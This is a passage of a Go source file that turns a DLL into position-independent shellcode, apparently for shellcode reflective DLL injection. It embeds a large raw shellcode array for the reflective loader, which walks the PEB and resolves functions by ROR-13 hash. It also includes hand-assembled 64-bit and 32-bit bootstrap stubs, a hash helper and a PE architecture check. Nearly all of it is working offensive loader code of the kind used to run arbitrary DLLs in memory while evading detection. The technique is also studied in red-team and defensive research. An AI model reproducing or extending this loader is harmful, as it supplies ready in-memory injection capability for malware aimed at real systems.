0xCF, 0x00, 0x00, 0x00, 0x8B, 0x9C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x77, 0x3C, 0x4C, 0x8B, 0x6C, 0x24, 0x30, 0x4C, 0x03, 0xF0, 0x48, 0xFF, 0xCD, 0x41, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x86, 0x9D, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x06, 0x41, 0x8B, 0xD0, 0xC1, 0xEA, 0x1E, 0x41, 0x8B, 0xC0, 0x41, 0x8B, 0xC8, 0xC1, 0xE8, 0x1D, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x83, 0xE0, 0x01, 0x75, 0x1E, 0x85, 0xD2, 0x75, 0x0B, 0xF7, 0xD9, 0x1B, 0xDB, 0x83, 0xE3, 0x07, 0xFF, 0xC3, 0xEB, 0x3E, 0xF7, 0xD9, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x1B, 0xDB, 0x23, 0xD8, 0x03, 0xD8, 0xEB, 0x2F, 0x85, 0xD2, 0x75, 0x18, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x5A, 0x10, 0xEB, 0x22, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x1A, 0xBB, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x13, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x59, 0x20, 0xEB, 0x0A, 0x85, 0xC9, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x0F, 0x45, 0xD8, 0x41, 0x8B, 0x4E, 0xE8, 0x4C, 0x8D, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x56, 0xEC, 0x8B, 0xC3, 0x0F, 0xBA, 0xE8, 0x09, 0x41, 0x81, 0xE0, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC3, 0x48, 0x03, 0xCE, 0x44, 0x8B, 0xC0, 0x8B, 0xD8, 0x41, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x84, 0xA1, 0xFC, 0xFF, 0xFF, 0x49, 0x83, 0xC6, 0x28, 0x48, 0x85, 0xED, 0x0F, 0x85, 0x48, 0xFF, 0xFF, 0xFF, 0x44, 0x8D, 0x6D, 0x02, 0x8B, 0x5F, 0x28, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x83, 0xC9, 0xFF, 0x48, 0x03, 0xDE, 0x41, 0xFF, 0xD4, 0xBD, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x8B, 0xD5, 0xFF, 0xD3, 0x45, 0x85, 0xFF, 0x0F, 0x84, 0x97, 0x00, 0x00, 0x00, 0x83, 0xBF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x97, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x5A, 0x18, 0x45, 0x85, 0xDB, 0x74, 0x78, 0x83, 0x7A, 0x14, 0x00, 0x74, 0x72, 0x44, 0x8B, 0x52, 0x20, 0x33, 0xDB, 0x44, 0x8B, 0x4A, 0x24, 0x4C, 0x03, 0xD6, 0x4C, 0x03, 0xCE, 0x45, 0x85, 0xDB, 0x74, 0x5D, 0x45, 0x8B, 0x02, 0x4C, 0x03, 0xC6, 0x33, 0xC9, 0x41, 0x0F, 0xBE, 0x00, 0x4C, 0x03, 0xC5, 0xC1, 0xC9, 0x0D, 0x03, 0xC8, 0x41, 0x80, 0x78, 0xFF, 0x00, 0x75, 0xED, 0x44, 0x3B, 0xF9, 0x74, 0x10, 0x03, 0xDD, 0x49, 0x83, 0xC2, 0x04, 0x4D, 0x03, 0xCD, 0x41, 0x3B, 0xDB, 0x72, 0xD2, 0xEB, 0x2D, 0x41, 0x0F, 0xB7, 0x01, 0x83, 0xF8, 0xFF, 0x74, 0x24, 0x8B, 0x52, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xC1, 0xE0, 0x02, 0x48, 0x98, 0x48, 0x03, 0xC6, 0x44, 0x8B, 0x04, 0x02, 0x8B, 0x94, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x4C, 0x03, 0xC6, 0x41, 0xFF, 0xD0, 0x48, 0x8B, 0xC6, 0x48, 0x83, 0xC4, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB4, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x33, 0xD2, 0x4D, 0x8B, 0x09, 0xF3, 0x0F, 0x7F, 0x04, 0x24, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x21, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0x0F, 0xBE, 0x01, 0xC1, 0xCA, 0x0D, 0x80, 0x39, 0x61, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49, 0x83, 0xEB, 0x01, 0x75, 0xE7, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x8F, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x49, 0x03, 0xD8, 0x48, 0x8D, 0x7F, 0x04, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x41, 0xC1, 0xCB, 0x0D, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5B, 0xFF, 0xFF, 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x14, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC8, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F, 0xC3}
26 |
27 | flags := 0
28 |
29 | userData := []byte("None")
30 |
31 | var final []byte
32 |
33 | if is64BitDLL(dllBytes) {
34 | // do 64 bit things
35 |
36 | bootstrapSize := 64
37 |
38 | // call next instruction (Pushes next instruction address to stack)
39 | bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00}
40 |
41 | // Set the offset to our DLL from pop result
42 | dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode64)
43 |
44 | // pop rcx - Capture our current location in memory
45 | bootstrap = append(bootstrap, 0x59)
46 |
47 | // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
48 | bootstrap = append(bootstrap, 0x49, 0x89, 0xc8)
49 |
50 | // add rcx,
51 | bootstrap = append(bootstrap, 0x48, 0x81, 0xc1)
52 |
53 | bootstrap = append(bootstrap, pack(uint32(dllOffset))...)
54 |
55 | // mov edx,
56 | bootstrap = append(bootstrap, 0xba)
57 | bootstrap = append(bootstrap, functionHash...)
58 |
59 | // Set up the location of our user data
60 | // add r8, +
61 | bootstrap = append(bootstrap, 0x49, 0x81, 0xc0)
62 | userDataLocation := dllOffset + len(dllBytes)
63 | bootstrap = append(bootstrap, pack(uint32(userDataLocation))...)
64 |
65 | // mov r9d,
66 | bootstrap = append(bootstrap, 0x41, 0xb9)
67 | bootstrap = append(bootstrap, pack(uint32(len(userData)))...)
68 |
69 | // push rsi - save original value
70 | bootstrap = append(bootstrap, 0x56)
71 |
72 | // mov rsi, rsp - store our current stack pointer for later
73 | bootstrap = append(bootstrap, 0x48, 0x89, 0xe6)
74 |
75 | // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
76 | bootstrap = append(bootstrap, 0x48, 0x83, 0xe4, 0xf0)
77 |
78 | // sub rsp, 0x30 - Create some breathing room on the stack
79 | bootstrap = append(bootstrap, 0x48, 0x83, 0xec)
80 | bootstrap = append(bootstrap, 0x30) // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
81 |
82 | // mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space
83 | bootstrap = append(bootstrap, 0xC7, 0x44, 0x24)
84 | bootstrap = append(bootstrap, 0x20)
85 | bootstrap = append(bootstrap, pack(uint32(flags))...)
86 |
87 | // call - Transfer execution to the RDI
88 | bootstrap = append(bootstrap, 0xe8)
89 | bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions
90 | bootstrap = append(bootstrap, 0x00, 0x00, 0x00)
91 |
92 | // mov rsp, rsi - Reset our original stack pointer
93 | bootstrap = append(bootstrap, 0x48, 0x89, 0xf4)
94 |
95 | // pop rsi - Put things back where we left them
96 | bootstrap = append(bootstrap, 0x5e)
97 |
98 | // ret - return to caller
99 | bootstrap = append(bootstrap, 0xc3)
100 |
101 | final = append(bootstrap, rdiShellcode64...)
102 | final = append(final, dllBytes...)
103 | final = append(final, userData...)
104 |
105 | } else {
106 | // do 32 bit things
107 |
108 | bootstrapSize := 45
109 |
110 | // call next instruction (Pushes next instruction address to stack)
111 | bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00}
112 |
113 | // Set the offset to our DLL from pop result
114 | dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode32)
115 |
116 | // pop eax - Capture our current location in memory
117 | bootstrap = append(bootstrap, 0x58)
118 |
119 | // mov ebx, eax - copy our location in memory to ebx before we start modifying eax
120 | bootstrap = append(bootstrap, 0x89, 0xc3)
121 |
122 | // add eax,
123 | bootstrap = append(bootstrap, 0x05)
124 | bootstrap = append(bootstrap, pack(uint32(dllOffset))...)
125 |
126 | // add ebx, +
127 | bootstrap = append(bootstrap, 0x81, 0xc3)
128 | userDataLocation := dllOffset + len(dllBytes)
129 | bootstrap = append(bootstrap, pack(uint32(userDataLocation))...)
130 |
131 | // push
132 | bootstrap = append(bootstrap, 0x68)
133 | bootstrap = append(bootstrap, pack(uint32(flags))...)
134 |
135 | // push
136 | bootstrap = append(bootstrap, 0x68)
137 | bootstrap = append(bootstrap, pack(uint32(len(userData)))...)
138 |
139 | // push ebx
140 | bootstrap = append(bootstrap, 0x53)
141 |
142 | // push
143 | bootstrap = append(bootstrap, 0x68)
144 | bootstrap = append(bootstrap, functionHash...)
145 |
146 | // push eax
147 | bootstrap = append(bootstrap, 0x50)
148 |
149 | // call - Transfer execution to the RDI
150 | bootstrap = append(bootstrap, 0xe8)
151 | bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions
152 | bootstrap = append(bootstrap, 0x00, 0x00, 0x00)
153 |
154 | // add esp, 0x14 - correct the stack pointer
155 | bootstrap = append(bootstrap, 0x83, 0xc4, 0x14)
156 |
157 | // ret - return to caller
158 | bootstrap = append(bootstrap, 0xc3)
159 |
160 | final = append(bootstrap, rdiShellcode32...)
161 | final = append(final, dllBytes...)
162 | final = append(final, userData...)
163 | }
164 |
165 | return final
166 |
167 | }
168 |
169 | // helper function similar to struct.pack from python3
170 | func pack(val uint32) []byte {
171 | bytes := make([]byte, 4)
172 | binary.LittleEndian.PutUint32(bytes, val)
173 | return bytes
174 | }
175 |
176 | // "HelloWorld" = 3571859646
177 | func hashFunctionName(name string) uint32 {
178 | function := []byte(name)
179 | function = append(function, 0x00)
180 |
181 | functionHash := uint32(0)
182 |
183 | for _, b := range function {
184 | functionHash = ror(functionHash, 13, 32)
185 | functionHash += uint32(b)
186 | }
187 |
188 | return functionHash
189 | }
190 |
191 | // ROR-13 implementation
192 | func ror(val uint32, rBits uint32, maxBits uint32) uint32 {
193 | exp := uint32(math.Exp2(float64(maxBits))) - 1
194 | return ((val & exp) >> (rBits % maxBits)) | (val << (maxBits - (rBits % maxBits)) & exp)
195 | }
196 |
197 | // is64BitDLL checks if the DLL is 64 bit
198 | func is64BitDLL(dllBytes []byte) bool {
199 | machineIA64 := uint16(512)
200 | machineAMD64 := uint16(34404)
201 |
202 | headerOffset := binary.LittleEndian.Uint32(dllBytes[60:64])
203 | machine := binary.LittleEndian.Uint16(dllBytes[headerOffset+4 : headerOffset+4+2])
204 |
205 | // 64 bit
206 | if machine == machineIA64 || machine == machineAMD64 {
207 | return true
208 | }
209 | return false
210 | }
211 |
--------------------------------------------------------------------------------